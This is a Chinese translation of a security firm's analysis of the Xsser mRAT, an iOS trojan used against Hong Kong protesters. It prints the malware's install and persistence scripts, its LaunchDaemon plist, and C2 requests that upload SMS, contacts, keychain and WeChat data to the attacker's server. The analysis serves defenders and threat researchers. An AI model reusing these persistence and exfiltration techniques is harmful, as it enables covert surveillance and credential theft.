Shalom Bublil, Daniel Brodie, 和Avi Bashan 取得了Lacoon(Xsser mRAT发现者)的授权,为你带来这篇报导。
Lacoon移动安全研究组发现了这个Xsser mRAT 的新型木马,该木马主要针对IOS设备,并且和那些广布香港的Android后门有着密切的联系。
这是个定向到Android后门的链接,伪装成APP,来协助对抗发生在香港中环的“占中”活动,它会在每周四发送匿名的信息给whatsapp用户。在对这个后门的调查中,Lacoon发现了Xsser mEAT的host和这个被称作Xsser的项目。虽然叫做Xsser,但却并不是和XSS相关的攻击。
这种同时针对IOS和Android设备的跨平台攻击很少见,也表名这次攻击很可能是在一个大型组织或者政府部门的操纵下进行的。这种由中国hacker执行,被用来对付示威者的攻击是首个链接到中国政府网络的IOS木马。
Xsser mRAT 本身十分显著,虽然之前已经有其它的ios木马被发现,但这个最为先进。尽管在这次对抗示威者的活动中只是初现端倪,但Xsser mRAT 的真实使用程度可能无人知晓。它可以轻松实现跨国,并且很可能由一家中国机构操纵,用以窥探个人,外国公司,乃至整个政府隐私。
Xsser mRAT代表了网络犯罪从传统PC系统到移动设备的一个转折,其目的和风险已远远超过了针对个人用户和以商业为目的的攻击。一旦被感染,Xsser mRAT可以暴露你在iOS设备上很多的个人信息,包括短信,电子邮件和任何即时消息的信息,也可以显示位置信息,用户名和密码,通话记录和联系人信息。
Xsser mRAT 向我们展示了如何利用社会工程学轻松的从IOS用户中窃取信息,攻击者利用相关的一些事件(政治抗议活动,一些体育赛事,或者商贸会)来骗取受害者的信任,用户就在不知不觉中安装了恶意的app,却不知道这些app在偷偷窃取用户的敏感信息。
通过这个例子,很能说明为什么保护移动设备如此重要,我们不仅需要知晓威胁,更需要随时对可能潜在的威胁保持警觉。
这个调查始于上周的晚些时候,一个恶意的安卓app声称将协调“占中”民主运动。活动者们通过whatsapp收到一个来自匿名号码发来的信息,说:”快去找这个由Code4HK(活动者当中的程序员们)设计的安卓app,为了这次的活动!”一旦受害人点击了这个链接,他们的设备就会感染上一种先进的 mRAT,或者移动远控木马。
这次攻击的独特之处都是在Lacoon将域名提取后经过动态分析引擎分析才得以发现。这个域名作为这个mRAT的CnC服务器,经过调查,Lacoon发现这个服务器包含了一个IOS mRAT的Cydia数据库。
当你想从浏览器连接它时cydia 数据库的页面。
Lacoon尚未发现有关的攻击方法。IOS设备需要在越狱过后才会被感染。一旦你安装了Cydia,那么就会被要求添加数据库,然后相关的包就会被安装。我们所了解的就是这些对IOS和Android的攻击都是共享的一个CnC服务器。
这个包本身是一个Debian的.deb包,这个包安装了一个IOS‘launchd’服务来确保这个app在设备重启过后能立即启动。
和android后门类似,Xsser能够盗取大量的数据信息
地址薄
短信记录
电话记录
定位信息(基于cell id)
图片
OS数据
QQ数据
还有设备账户在IOS keychain中使用的密码和其它授权信息(苹果ID,邮箱账户等等),以及手机的GSM身份
关于Xsser mRAT的其它一些特性也值得一提:它会再重启后立即启动,它会动态更新
所有Lacoon监测到的服务器都被连接到一个攻击者使用的VPS,使用一个RDP连接。这或许是为了避免攻击者的链接直接链到了CnC服务器。当试图进一步调查连接域名的身份时,发现攻击者花了相当大的功夫来通过域名保护服务来保持他们的匿名。这是一个提供域名注册服务的中国公司,攻击者通过这公司来避免对真正的域名所有者的连接。
这个文件包含了一系列的其他文件需要安装:
1
2
3
|
/bin/*****.0day_t
/bin/*****.0day_t.sh
/bin/com.*****.0day.iphone.plist
|
.db文件运行了一个执行安装命令的脚本
1
2
3
4
5
|
#!/bin/bash
chmod -R 0755 /bin/xsser.0day_t
chmod -R 0755 /bin/com.xsser.0day.iphone.plist
chmod -R 0755 /bin/xsser.0day_t.sh
/bin/xsser.0day_t.ti
|
The script *****.0day_t.sh does the following:
1
2
3
4
5
6
7
|
#!/bin/sh
cp /bin/xsser.0day_t /bin/xsser.0day
cp /bin/com.xsser.0day.iphone.plist /Library/LaunchDaemons/com.xsser.0day.iphone.plist
chmod -R 0755 /bin/xsser.0day
chmod -R 0755 /Library/LaunchDaemons/com.xsser.0day.iphone.plist
chown root /Library/LaunchDaemons/com.xsser.0day.iphone.plist
launchctl load /Library/LaunchDaemons/com.xsser.0day.iphone.plaits
|
它安装了一个本地服务,并加载它。该服务在plist中的信息是:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
<?xml version=“1.0” encoding=“UTF-8″?>
<!DOCTYPE plist PUBLIC “-//Apple//DTD PLIST 1.0//EN” “http://www.apple.com/DTDs/PropertyList-1.0.dtd”>
<plist version=“1.0”>
<dict>
<key>KeepAlive</key>
<true/>
<key>Label</key>
<string>com.xsser.0day.iphone</string>
<key>Program</key>
<string>/bin/xsser.0day</string>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
|
这里是获取库版本的HTTP请求:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
GET /CheckLibrary.aspx HTTP/1.1
Host: www.xsser.com:80
Connection: keep-alive
Accept-Encoding: gzip, deflate
User-Agent: xsser.0day (unknown version) CFNetwork/672.1.15 Darwin/14.0.0
Accept-Language: en-us
Accept: */*
HTTP/1.1 200 OK
Date: Mon, 29 Sep 2014 09:27:22 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 79
|
http://www.xsser.com/upload/Lib/iLib.4.0.0.dylib|iLib.4.0.0.dylib|4.0.0|1033720
这些被发送到服务器的基础信息包括:
OS 版本
Mac地址
设备版本
设备IMSI
设备IMEI
电话号码
这些通过GET请求传输的数据可以在这里被看到:
在对这些通过GET将基础信息发送出去的响应中,可以看到一系列的需要这个工具在该设备执行的命令
===>GetGps:Now
===>GetKeyChain:Now
===>UploadFile:/var/mobile/Library/AddressBook/AddressBook.sqlitedb
===>UploadFile:/var/mobile/Library/AddressBook/AddressBook.sqlitedb-shm
===>UploadFile:/var/mobile/Library/AddressBook/AddressBook.sqlitedb-wal
===>UploadFile:/var/mobile/Library/SMS/sms.db
===>UploadFile:/var/mobile/Library/SMS/sms.db-shm
===>UploadFile:/var/mobile/Library/SMS/sms.db-wal
===>UploadFile:/var/wireless/Library/CallHistory/call_history.db
===>GetWeiXin:Now
===>UploadFile:/private/var/mobile/Media/DCIM/100APPLE/IMG_[…].JPG
该RaT就解析这些命令然后做下面的这些事:
上传文件 — 通过POST请求上传文件,这些数据看起来差不多就像:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
POST /TargetUploadFile.aspx?tmac=189*****C950 HTTP/1.1
Host: www.*****.com:80
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=AaB03x
Content-Length: 266573
Accept-Language: en-us
Accept: */*
Connection: keep-alive
User-Agent: *****.0day (unknown version) CFNetwork/672.1.15 Darwin/14.0.0
–AaB03x
Content-Disposition: form-data; name=”desc”
119
–AaB03x
Content-Disposition: form-data; name=”albumId”
119
–AaB03x
Content-Disposition: form-data; name=”sid”
119
–AaB03x
Content-Disposition: form-data; name=”picFile”; filename=”AddressBook.sqlitedb”
Content-Type: application/octet-stream
|
我们可以看到这段代码发送了这个请求
获取GPS — 返回当前有关手机连接到的基站信息。它采用CoreTelephony的getCellInfo方法来获取这些信息并通过这种方式上传:
1
|
GET /TargetUploadGps.aspx?&tmac=189EFC9DC950&JZ=0,0 HTTP/1.1
|
我们可以看到它的上传代码像这样:
获取微信 — 从腾讯QQ消息中上传信息,这是通过查看
1
|
/var/mobile/Library/Caches/com.apple.mobile.installation.plist
|
文件中的 com.tencent.xin,并查找其容器标志。然后通过它的TargetUploadFile命令来将QQ容器中的DB/MM.sqlite文件上传。
获取密钥 — 获取下列的密钥类型:
SecClassGenericPassword
SecClassInternetPassword
SecClassIdentity
SecClassCertificate
SecClassKey
并建立一个相关数据的xml(密码,身份标识,等……)然后通过TargetUploadFile命令将KeyChainFile.xml文件上传
一个xml文件的图示:
未实现的命令 – 我们不知道他们为什么没有实现,但我们确实看到在代码中引用它们。我们猜测我们想到的版本正在开发中,也许未来将样品中会被使用。
发送SMS
拨号
执行命令
上传所有文件类型
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
Updated Date: 2013-5-27 10:08:00
Creation Date: 2008-5-20 0:00:00
Registrar Registration Expiration Date: 2023-5-20 0:00:00
Registrar: JIANGSU BANGNING SCIENCE & TECHNOLOGY CO. LTD
Registrar IANA ID: 1469
Registrar Abuse Contact Email: 1009@zgsj.com
Registrar Abuse Contact Phone: +86.025-86883426-1009
Registrant Organization: DOMAIN WHOIS PROTECTION SERVICE
Registrant Street: 1-3th Floor, BangNing Technology Park, 2 YuHua Avenue, Yuhuatai District
Registrant City: Nanjing
Registrant State/Province: Jiangsu
Registrant Postal Code: 210012
Registrant Country: CN
Registrant Phone: +86.02586805172
Registrant Phone Ext:
Registrant Fax: +86.02586883476
Registrant Fax Ext:
Registrant Email: domain@whoisprotectionservice.org
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
Architecture: iphoneos-arm
Maintainer: Lili (Aurora) <tibet.lili@gmail.com>
Installed-Size: 67216
Filename: debs/****.0day.deb
(we replaced part of the file name with *)
MD5sum: 2ee65c7faeba0899d397f6e105cc53c3
SHA1: 49639c36f59e45f0d95005d3aff1d2ed4db5020d
SHA256: d79b8552213bc21512fb557853ea0dee3c8e63a5108b8c294ad9c3307030ea49
|
.deb文件包含了要安装的一系列文件
1
2
3
|
/bin/*****.0day_t
/bin/*****.0day_t.sh
/bin/com.*****.0day.iphone.plist
|
.db文件运行了一个执行安装命令的脚本
1
2
3
4
5
|
#!/bin/bash
chmod -R 0755 /bin/xsser.0day_t
chmod -R 0755 /bin/com.xsser.0day.iphone.plist
chmod -R 0755 /bin/xsser.0day_t.sh
/bin/xsser.0day_t.sh
|
当这个脚本完成之后另一个shell脚本就会被执行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
<?xml version=”1.0″ encoding=”UTF-8″?>
<!DOCTYPE plist PUBLIC “-//Apple//DTD PLIST 1.0//EN” “http://www.apple.com/DTDs/PropertyList-1.0.dtd”>
<plist version=”1.0″>
<dict>
<key>KeepAlive</key>
<true/>
<key>Label</key>
<string>com.xsser.0day.iphone</string>
<key>Program</key>
<string>/bin/xsser.0day</string>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
|
/bin/debuglogFile.log
它会通过二进制检查库版本并将其保存到一个名为/bin/iVersion的文件。如果版本不匹配则会下载和更新库版本。
共享库将会将一些信息写入到 /bin/recvDate
参考文献:
译文原文:https://www.lacoon.com/lacoon-discovers-xsser-mrat-first-advanced-ios-trojan/
翻译:【星空@91Ri.org团队】
Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式:
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱:service@hongdaqianqiu.com
备案号:粤ICP备15078875号